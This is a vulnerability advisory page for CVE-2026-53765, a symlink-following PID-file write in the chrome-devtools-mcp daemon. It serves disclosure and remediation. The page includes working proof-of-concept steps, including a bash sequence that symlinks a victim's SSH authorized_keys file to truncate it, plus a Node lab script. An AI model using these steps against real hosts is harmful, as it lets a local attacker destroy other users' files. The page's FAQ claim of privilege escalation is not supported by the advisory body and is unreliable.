CVE-2026-53765: chrome-devtools-mcp: daemon.pid write follows symlinks in /tmp fallback runtime directory

Published Jun 17, 2026
·
Updated

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDGRUNTIMEDIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use ONOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victimuid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDGRUNTIMEDIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

ts const pidFilePath = getPidFilePath(sessionId); fs.mkdirSync(path.dirname(pidFilePath), { recursive: true, }); fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

ts export function getRuntimeHome(sessionId: string): string { const platform = os.platform(); const uid = os.userInfo().uid; const suffix = sessionId ? -${sessionId} : ''; const appName = APPNAME + suffix;

if (process.env.XDGRUNTIMEDIR) { return path.join(process.env.XDGRUNTIMEDIR, appName); }

if (platform === 'darwin' || platform === 'linux') { return path.join('/tmp', ${appName}-${uid}); }

return path.join(os.tmpdir(), appName); }

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victimuid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

- The victim is on a typical macOS environment where $XDGRUNTIMEDIR is unset, or on a Linux system/session where $XDGRUNTIMEDIR is unset. - The attacker has any local user account on the same host. - The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

bash Attacker, before victim starts daemon mode. victimuid=1000 mkdir -p "/tmp/chrome-devtools-mcp-${victimuid}" chmod 0755 "/tmp/chrome-devtools-mcp-${victimuid}" ln -s "/home/victim/.ssh/authorizedkeys" \ "/tmp/chrome-devtools-mcp-${victimuid}/daemon.pid"

Victim later starts daemon mode. chrome-devtools start

Result: fs.writeFileSync follows the symlink, so authorizedkeys is truncated to the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab- directory:

js const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try { fs.chmodSync(lab, 0o755);

const victimSecret = path.join(lab, 'victim-secret.txt'); fs.writeFileSync( victimSecret, 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n', );

const runtimeDir = path.join(lab, 'attacker-pre-created'); fs.mkdirSync(runtimeDir, {recursive: true});

const pidFilePath = path.join(runtimeDir, 'daemon.pid'); fs.symlinkSync(victimSecret, pidFilePath);

// Exact pattern from src/daemon/daemon.ts:39-42. fs.mkdirSync(path.dirname(pidFilePath), {recursive: true}); fs.writeFileSync(pidFilePath, process.pid.toString());

console.log(fs.readFileSync(victimSecret, 'utf8')); // -> "<pid>" (victim file was truncated/overwritten) } finally { fs.rmSync(lab, {recursive: true, force: true}); }

Observed output from the lab PoC:

text [setup] victim secret BEFORE attack: IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED [attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret> [victim ran daemon] victim secret AFTER: <pid> [lstat pidFile] still symlink [outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfilesymlinkpoc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDGRUNTIMEDIR is unset for that user session.

Security impact:

- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string. - Availability: critical user configuration files can be corrupted until restored from backup. - Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

- ~/.ssh/authorizedkeys, causing the victim to lose SSH access. - ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup. - Project .env, secrets.json, license files, or line-oriented config files. - Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with ONOFOLLOW and validate runtime directory ownership/permissions before writing:

ts import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync( pidFilePath, constants.OWRONLY | constants.OCREAT | constants.OTRUNC | constants.ONOFOLLOW, 0o600, ); writeSync(fd, process.pid.toString()); closeSync(fd);

Other sources

Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDGRUNTIMEDIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use ONOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victimuid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/chrome-devtools-mcp>=0.20.0<=1.0.1
1.1.0
Google Chrome-devtools-mcp Node.js>=0.20.0<1.1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/chrome-devtools-mcp to a version that resolves this vulnerability.

    Fixed in 1.1.0
  2. Upgrade

    Upgrade chrome-devtools-mcp to a version that resolves this vulnerability.

    Fixed in 1.1.0
  3. Configuration

    In the daemon PID-file write path (src/daemon/daemon.ts:38-42 / src/daemon/utils.ts:49-68), open the PID file with O_NOFOLLOW to prevent following attacker-created symlinks, and then write the PID (fs.writeFileSync/fs.writeSync logic in the affected code path).

    chrome-devtools-mcp daemon PID file open flags = use O_NOFOLLOW
  4. Configuration

    Before creating/writing runtimeDir/daemon.pid (runtime fallback to /tmp when $XDG_RUNTIME_DIR is unset on macOS/Linux), validate the runtime directory ownership and permissions so the daemon does not write into an attacker-prepared path.

    chrome-devtools-mcp daemon PID runtime directory permissions/ownership validation before writing = ensure runtime directory ownership/permissions are validated

Event History

Jun 17, 2026
Advisory Published
via GitHub·02:01 PM
Data Sourced
via GitHub·02:01 PM
DescriptionSeverityWeaknessAffected Software
Jun 24, 2026
CVE Published
via MITRE·09:30 PM
Data Sourced
via MITRE·09:30 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-53765?

The severity of CVE-2026-53765 is rated medium at 6.1.

2

How does CVE-2026-53765 impact system security?

CVE-2026-53765 allows for a potential race condition due to improper handling of the PID file which may lead to privilege escalation.

3

What software is affected by CVE-2026-53765?

CVE-2026-53765 affects the npm package chrome-devtools-mcp.

4

How do I fix CVE-2026-53765?

To mitigate CVE-2026-53765, ensure that the chrome-devtools-mcp daemon is updated to the latest version that addresses this vulnerability.

5

When was CVE-2026-53765 published?

CVE-2026-53765 was published on June 17, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203